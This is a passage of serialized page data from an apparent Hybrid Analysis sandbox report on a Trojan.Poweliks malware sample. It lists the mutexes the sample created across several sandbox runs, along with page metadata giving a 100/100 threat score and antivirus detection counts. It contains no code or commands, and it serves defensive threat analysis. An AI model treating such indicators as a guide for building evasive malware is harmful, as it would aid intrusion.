SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"56f0cbfdaac2ed9c210b443e"},{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6836:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6836:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"name":"Local\\SM0:6836:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"name":"SM0:6836:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"55d40aaf0e316d5c2d4ac54c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!6kq0toq!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!6kq0toq!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!6kq0toq!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"58011cb1aac2ed9a0b8d7d7f"}]}]}},"report_ids":{"sandbox_job_ids":["6891eaa2014d64d59d01f144","58011cb1aac2ed9a0b8d7d7f","56f0cbfdaac2ed9c210b443e","55d40aaf0e316d5c2d4ac54c","6a97c9f8f524aa3517056266"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Trojan.Poweliks Sample 4727b7ea70d0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4727b7ea70d0…. Malware family: Trojan.Poweliks. Threat score 100/100. 22/28 AV engines flagged this file. 17 malicious and 30 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Poweliks Sample 4727b7ea70d0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4727b7ea70d0…. Malware family: Trojan.Poweliks. Threat score 100/100. 22/28 AV engines flagged this file. 17 malicious and 30 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Poweliks Sample 4727b7ea70d0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4727b7ea70d0…. Malware family: Trojan.Poweliks. Threat score 100/100. 22/28 AV engines flagged this file. 17 malicious and 30 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2c","11",{}]]